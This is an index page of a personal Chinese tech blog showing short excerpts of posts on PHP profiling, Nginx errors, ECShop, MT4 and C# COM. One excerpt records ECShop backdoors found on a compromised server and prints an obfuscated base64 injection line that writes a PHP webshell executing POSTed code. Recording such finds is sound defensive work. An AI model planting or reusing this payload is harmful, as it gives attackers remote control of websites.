2016年3月19日使用XHProf和XHGui分析PHP应用的性能

系统环境



CentOS 6.7


PHP 5.6.19 (cli) (built: Mar  3 2016 08:00:07)



安装XHProf


http://pecl.php.net/package/xhprof


pecl install xhprof


...

分类:技术心得  标签:XHGui  XHProf  PHP    网友评论0条  已浏览loading

2016年3月4日Nginx出现File not found的解决办法

根据踩过的坑,大致有这么几个原因:


1.fastcgi参数SCRIPT_FILENAME配置错误


正确的配置(location下):fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;


2.没有配置网站根路径参数,导致$document_root为空,进而导致上述第一条错误。


正确配置(server或location下):root /web/path;

...

分类:技术心得  标签:nginx    网友评论0条  已浏览loading

2016年3月4日小心浏览器的预读取

开启浏览器的预读取,有可能会造成数据的误删除。


后台的部分数据莫名的被删除了,最后发现是使用了搜狗浏览器造成的。。。


建议数据除了get操作采用GET方式外,其余delete、update、add操作均采用POST方式。

分类:技术心得  标签:预读取    网友评论0条  已浏览loading

2016年3月3日onethink设置session参数的正确姿势

模块配置文件中新增如下配置项:



Application/xxx/Conf/config.php




//session设置

'SESSION_OPTIONS' => array(

        'name' => 'XXXAPPSESSID',//名称

...

分类:技术心得  标签:onethink  Session    网友评论0条  已浏览loading

2016年2月28日PHP开发网络采集程序

做采集?用PHP?太low了吧~用python多高大上^_


不过这里还是用PHP来实现^_^


1.爬虫


简单说就是遍历指定网站中的指定链接,获取相应网页html源码,为后面的内容抽取做准备。需要注意的地方有这么几点:


(1)效率问题


可以用PHP的多进程模型实现并发采集。参考: PHP CLI模式下的多进程应用


...

分类:技术心得  标签:PHP  采集  爬虫    网友评论0条  已浏览loading

2016年2月18日失而复得

这个网站已经很久没有新内容了,自从2014年年底起就因为一些原因而关闭了,后来一直没有关注,以为数据也丢失了~~~。


今天,联系了下空间的客服,没想到一年多过去了,购买的空间早已过期,但空间备份的数据还在,赞一个!!!


主要还是舍不得关掉这个网站,因为记录了很多从我喜欢上计算机编程起的一些历程,算是过去学习的一个缩影。


以后还是多更新,以前主要关注windows桌面软件开发,软件安全,现在主要从事PHP服务端开发,转战web开发(个人绝对这也是大势所趋,或许若干年后本地不需要安装任何软件了,一个浏览器足以~),其实我觉得用现在的流行说法全栈工程师比较合适。有空尽量写写技术文章,提升自己的同时也是造福他人,希望自己能坚持下去。

...

分类:生活点滴  标签:  网友评论2条  已浏览loading

2014年7月23日PHP编程中10个最常见的错误

本文根据10 Most Common PHP Mistakes整理而来,非逐字翻译,在保证原文内容不变的同时,加入了些自己的理解。

错误1:foreach循环后留下悬挂指针

在foreach循环中,如果我们需要更改迭代的元素或是为了提高效率,运用引用是一个好办法:

...

分类:技术心得  标签:PHP  错误    网友评论1条  已浏览loading

2014年6月27日ECShop的配置信息加载

ECShop的相关配置信息是保存在数据库的shop_config表中的。实际应用中,为了提高性能,避免反复的数据库读取操作,ECShop会把配置信息缓存在/temp/static_caches/shop_config.php文件中。相关功能是/includes/lib_common.php文件中的load_config函数实现的。如果读取缓存文件失败,则会从数据库中读取并将结果缓存在缓存文件中。



/**

 * 读结果缓存文件

...

分类:技术心得  标签:ECShop    网友评论0条  已浏览loading

2014年6月27日mt4系统跟单插件的实现

在MT4交易系统中,有时需要实现这样一种功能:



当客户下单/平仓/改单等相关订单操作时,第三方应用能得到即时通知,获取订单的相关信息,以便处理相应的业务。



我们可以利用MT4系统提供的Server Hook API(MtSrvTradesAdd、MtSrvTradesUpdate)来实现此功能。拦截相关订单操作,给指定的URL发送HTTP GET/POST消息通知(当然也可以以其它方式发送信息)。

...

分类:技术心得  标签:MT4  跟单    网友评论0条  已浏览loading

2014年6月10日C#生成Com组件dll供VB6调用

1.C#代码
[CODE=c#]
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;

namespace testDll
{
[ComVisible(true)]
public interface iClass1
{
string test(string data,string url);
...

分类:技术心得  标签:C#  COM  DLL  vb6    网友评论0条  已浏览loading

2014年6月4日一些ECShop后门

有个服务器没怎么管它,发现磁盘莫名奇妙的全满了。上面是一些ECShop商城,很久没更新了。ECShop本来漏洞就比较多,国内用的也多,估计好多人没事都在扫吧。。。


发现一些后门,记录下:


$_LANG['is_paid'] = "状态${${fputs(fopen(base64_decode(aW5kZS5waHA),w),base64_decode(PD9waHAgJGsgPSBzdHJfcmVwbGFjZSgiOSIsIiIsImE5czk5czllOXI5dCIpOyRrKCRfUE9TVFsiOSJdKTsgPz4))}}";

...

分类:网站相关  标签:ecshop.后门  木马    网友评论0条  已浏览loading

2014年5月22日[原创]支付宝自动代付工具

软件简介


支付宝自动代付软件可实现实时监控指定支付宝账户的代付记录,并对代付交易进行自动支付(自动代付)。


软件主要特色:


  1. 实时监控,自动支付,完全无需人工干预;
  2. 支持代付交易有效性验证(web远程验证/手动验证),验证成功才支付;
  3. 代付金额大小范围可自定义;
  4. 支付结果web通知回调,方便您的具体业务处理;
  5. 支持支付宝账户自动登录,方便断线后自动重连。


...

分类:原创软件  标签:支付宝  自动代付    网友评论0条  已浏览loading

2014年4月22日PHP-CPP - 利用C++开发PHP扩展